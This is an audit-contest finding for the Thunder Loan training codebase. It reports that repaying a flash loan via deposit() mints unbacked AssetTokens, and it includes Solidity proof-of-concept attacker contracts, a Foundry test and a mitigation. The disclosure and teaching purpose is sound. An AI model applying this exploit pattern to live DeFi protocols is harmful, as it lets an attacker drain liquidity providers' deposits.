Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan repaid via deposit() mints free AssetTokens — drains LPs

Title: Flash loan repaid via deposit() mints free AssetTokens — drains LPs
Impact: High. Attacker steals underlying tokens from existing LP deposits.
Likelihood: High. Single transaction — deploy attack contract with executeOperation.
Reference Files: repos/src/protocol/ThunderLoan.sol:147-156,180-217

Description

flashloan() verifies repayment by checking endingBalance >= startingBalance + fee — a pure balance check on the AssetToken's underlying token balance. It does not validate that repayment came through the designated repay() function. An attacker can call deposit() during the executeOperation callback, which transfers tokens to the AssetToken (satisfying the balance check) while simultaneously minting AssetTokens to the attacker. Critically, deposit() has no guard against being called during an active flash loan — only repay() checks s_currentlyFlashLoaning[token].

// In executeOperation — attacker repays via deposit():
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(token, amount + fee); // satisfies balance check + mints AssetTokens

The attacker emerges from the flash loan holding newly minted AssetTokens that are entirely unbacked — they contributed tokens to satisfy the repayment check but received LP shares in return, which can be redeemed against legitimate LP deposits.

Risk

Impact: High. An attacker flash-loans 100 ETH, deposits 100.3 ETH via deposit() to satisfy the repayment check, and simultaneously receives ~100 ETH worth of AssetTokens. When the attacker later calls redeem(), those AssetTokens are converted into real underlying tokens drawn from other LPs' deposits. The attacker walks away with the flash-loaned capital plus stolen LP funds.
Likelihood: High. The attack requires only deploying a single contract with the executeOperation callback that calls deposit() instead of repay(). No privileged access, no timing dependency, no external protocol interaction beyond the flash loan itself.
With 1000 ETH in LP deposits, an attacker can drain 100 ETH per attack — and the attack is repeatable for every token pair on the protocol.

Proof of Concept

contract Attacker is IFlashLoanReceiver {
function attack(IThunderLoan loan, IERC20 token, uint256 amount) external {
loan.flashloan(address(this), token, amount, "");
}
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes memory) external {
IERC20(token).approve(msg.sender, amount + fee);
IThunderLoan(msg.sender).deposit(IERC20(token), amount + fee);
}
}

After the flash loan completes, the attacker calls redeem(token, type(uint256).max) to convert the unbacked AssetTokens into real LP deposits, extracting value from legitimate liquidity providers.

Recommended Mitigation

function deposit(IERC20 token, uint256 amount) external {
if (s_currentlyFlashLoaning[token]) revert("Cannot deposit during flash loan");
// ... rest of deposit logic
}

Blocking deposit() while s_currentlyFlashLoaning[token] is true forces all flash loan repayment through repay(), which does not mint AssetTokens and only transfers tokens to the AssetToken.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!